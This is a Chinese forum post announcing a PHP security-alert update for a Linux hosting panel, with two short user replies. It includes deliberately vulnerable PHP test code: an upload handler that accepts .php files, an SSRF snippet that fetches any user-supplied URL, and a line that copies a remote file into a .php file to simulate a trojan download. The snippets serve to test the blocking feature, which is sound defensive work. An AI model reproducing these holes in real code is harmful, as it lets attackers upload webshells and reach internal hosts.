当前位置:论坛首页 > Linux面板 > Linux面板教程

PHP网站安全告警 5.0 更新

发表在 Linux面板2023-8-9 14:26 [复制链接] 2 1046

2023-08-09更新
2.增加文件上传拦截
3.增加ssrf拦截
4.增加远程下载木马拦截
5.增加重命名为php文件拦截




一、文件上传拦截。

文件上传测试代码
  1. <?php
  2. // 允许上传的图片后缀
  3. var_dump($_POST);
  4. $allowedExts = array("gif", "jpeg", "jpg", "png","php");
  5. $temp = explode(".", $_FILES["file"]["name"]);
  6. $extension = end($temp);     // 获取文件后缀名
  7. // echo $extension;
  8. if ((($_FILES["file"]["type"] == "image/jpeg")
  9. || ($_FILES["file"]["type"] == "image/jpeg")
  10. || ($_FILES["file"]["type"] == "image/jpg")
  11. || ($_FILES["file"]["type"] == "image/pjpeg")
  12. || ($_FILES["file"]["type"] == "image/x-png")
  13. || ($_FILES["file"]["type"] == "image/png"))
  14. && ($_FILES["file"]["size"] > 10)   // 小于 100b
  15. && in_array($extension, $allowedExts))
  16. {
  17.         if ($_FILES["file"]["error"] > 0)
  18.         {
  19.                 echo "错误:: " . $_FILES["file"]["error"] . "<br>";
  20.         }
  21.         else
  22.         {
  23.                 echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
  24.                 echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
  25.                 echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
  26.                 echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
  27.                         move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
  28.                         echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
  29.         }
  30. }
  31. else
  32. {
  33.     var_dump($_FILES);
  34.         echo "非法的文件格式";
  35. }
  36. ?>
复制代码


这里是允许上传php 的。测试如下:

微信截图_20230809142601.png



二、ssrf 拦截

测试代码:
  1. <?php

  2. $url = $_GET['url'];
  3. echo file_get_contents($url);
  4. ?>
复制代码

微信截图_20230809142802.png


三、远程下载木马

测试代码
  1. <?php


  2. copy("http://192.168.1.72/1.js","11.php");


  3. ?>
复制代码

微信截图_20230809143948.png




支持的拦截暂时不多。后续会给出拦截的控制开关。

END  

使用道具 举报 只看该作者 回复
发表于 2023-8-9 21:59:00 | 显示全部楼层
希望可以支持ARM
使用道具 举报 回复 支持 反对
发表于 2023-9-22 23:00:13 | 显示全部楼层
不支持 php 8.2 吗
使用道具 举报 回复 支持 反对
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

企业版年付运维跟进群

普通问题处理

论坛响应时间:72小时

问题处理方式:排队(仅解答)

工作时间:白班:9:00 - 18:00

紧急问题处理

论坛响应时间:10分钟

问题处理方式:1对1处理(优先)

工作时间:白班:9:00 - 18:00

工作时间:晚班:18:00 - 24:00

立即付费处理
快速回复 返回顶部 返回列表